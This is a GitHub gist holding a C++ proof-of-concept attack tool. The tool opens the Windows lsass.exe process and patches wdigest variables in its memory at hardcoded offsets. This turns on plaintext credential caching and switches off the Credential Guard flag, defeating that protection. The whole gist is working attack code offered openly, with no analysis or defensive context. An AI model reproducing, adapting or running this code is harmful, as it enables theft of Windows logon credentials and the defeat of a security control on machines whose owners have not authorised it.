Skip to content

Instantly share code, notes, and snippets.

@N4kedTurtle
Created August 25, 2020 14:17
Show Gist options
  • Save N4kedTurtle/8238f64d18932c7184faa2d0af2f1240 to your computer and use it in GitHub Desktop.
Save N4kedTurtle/8238f64d18932c7184faa2d0af2f1240 to your computer and use it in GitHub Desktop.
PoC for enabling wdigest to bypass credential guard
#define _CRT_SECURE_NO_WARNINGS
#include <Windows.h>
#include <Psapi.h>
#include <TlHelp32.h>
#include <iostream>
DWORD GetLsassPid() {
PROCESSENTRY32 entry;
entry.dwSize = sizeof(PROCESSENTRY32);
DWORD pid = 0;
HANDLE hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, NULL);
if (Process32First(hSnapshot, &entry)) {
while (Process32Next(hSnapshot, &entry)) {
if (_stricmp(entry.szExeFile, "lsass.exe") == 0)
{
pid = entry.th32ProcessID;
break;
}
}
}
CloseHandle(hSnapshot);
return pid;
}
BOOL PatchWdigest()
{
DWORD lsassPid = 0;
HANDLE hLsass = INVALID_HANDLE_VALUE;
//Set these per Wdigest version
//Offset for wdigest!g_fParameter_UseLogonCredential
ULONGLONG logonCredential_offSet = 0x36124;
//Offset for wdigest!g_IsCredGuardEnabled
ULONGLONG credGuard_offSet = 0x35b88;
lsassPid = GetLsassPid();
printf("Lsass Pid = %d\n", lsassPid);
if (0 != lsassPid)
{
HANDLE hLsass = OpenProcess(PROCESS_ALL_ACCESS, FALSE, lsassPid);
if (INVALID_HANDLE_VALUE != hLsass && hLsass != NULL)
{
HMODULE hArray[256];
DWORD fak;
EnumProcessModules(hLsass, hArray, sizeof(hArray), &fak);
char szFilename[256];
for (unsigned int i = 0; i < (fak / sizeof(HMODULE)); i++)
{
GetModuleFileNameExA(hLsass, hArray[i], szFilename, 256);
if (strstr(szFilename, "wdigest"))
{
MODULEINFO moduleInfo;
if (GetModuleInformation(hLsass, hArray[i], &moduleInfo, sizeof(MODULEINFO)))
{
unsigned char* ptr = (unsigned char*)moduleInfo.lpBaseOfDll;
//Locations of each variable
LPVOID addrOfUseLogonCredentialGlobalVariable = ptr + logonCredential_offSet;
LPVOID addrOfCredGuardEnabled = ptr + credGuard_offSet;
DWORD dwCurrent = 0xAABBCCDD;
DWORD dwCurrentLength = sizeof(DWORD);
SIZE_T bytesRead = 0;
DWORD oldProtect, newProtect;
//Patch wdigest
//No need to VirtualProtectEx for UseLogonCredential
printf("\nPatching g_fParameter_UseLogonCredential....\n");
printf("g_fParameter_UseLogonCredential offset = %llx\n", logonCredential_offSet);
if (ReadProcessMemory(hLsass, addrOfUseLogonCredentialGlobalVariable, &dwCurrent, dwCurrentLength, &bytesRead))
{
printf("\t(1) dwCurrent= %d for g_fParameter_UseLogonCredential\n", dwCurrent, bytesRead);
}
else
printf("(1) Failed to read memory address for g_fParameter_UseLogonCredential\n");
//Set g_fParameter_UseLogonCredential to 1
DWORD dwUseLogonCredential = 1;
SIZE_T bytesWritten = 0;
if (!WriteProcessMemory(hLsass, addrOfUseLogonCredentialGlobalVariable, (PVOID)&dwUseLogonCredential, sizeof(DWORD), &bytesWritten))
{
CloseHandle(hLsass);
printf( "Failed at WriteMemory for g_fParameter_UseLogonCredential. Error %d \n", GetLastError());
return FALSE;
}
if (ReadProcessMemory(hLsass, addrOfUseLogonCredentialGlobalVariable, &dwCurrent, dwCurrentLength, &bytesRead))
{
printf("\t(2) dwCurrent= %d for g_fParameter_UseLogonCredential\n", dwCurrent, bytesRead);
}
//End UseLogonCredential Patch
//Patch cradGuard
printf("\nPatching g_IsCredGuardEnabled...\n");
printf("g_IsCredGuardEnabled offset = %llx\n", credGuard_offSet);
if (!VirtualProtectEx(hLsass, addrOfCredGuardEnabled, sizeof(DWORD), PAGE_READWRITE, &oldProtect))
{
CloseHandle(hLsass);
printf("(1) Failed at virtual protect for g_IsCredGuardEnabled. Error %d \n", GetLastError());
return FALSE;
}
if (ReadProcessMemory(hLsass, addrOfCredGuardEnabled, &dwCurrent, dwCurrentLength, &bytesRead))
{
printf("\t(1) dwCurrent= %d for g_IsCredGuardEnabled\n", dwCurrent, bytesRead);
}
else
printf("(1) Failed to read memory address for g_IsCredGuardEnabled\n");
//
//Set g_IsCredGuardEnabled to 0
DWORD dwCredGuard = 0;
if (!WriteProcessMemory(hLsass, addrOfCredGuardEnabled, (PVOID)&dwCredGuard, sizeof(DWORD), &bytesWritten))
{
CloseHandle(hLsass);
printf("Failed at WriteMemory for g_IsCredGuardEnabled. Error %d \n", GetLastError());
return FALSE;
}
if (ReadProcessMemory(hLsass, addrOfCredGuardEnabled, &dwCurrent, dwCurrentLength, &bytesRead))
{
printf("\t(2) dwCurrent= %d for g_IsCredGuardEnabled\n", dwCurrent, bytesRead);
}
if (!VirtualProtectEx(hLsass, addrOfCredGuardEnabled, sizeof(DWORD), oldProtect, &newProtect))
{
CloseHandle(hLsass);
printf("(2) Failed at virtual protect for g_IsCredGuardEnabled. Error %d \n", GetLastError());
return FALSE;
}
//End creadGuard Patch
CloseHandle(hLsass);
printf("Success\n");
return TRUE;
}
}
}
}
else
{
printf("Failed, bad lsass handle\n");
return FALSE;
}
}
return FALSE;
}
int main()
{
if (!PatchWdigest())
return 1;
return 0;
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment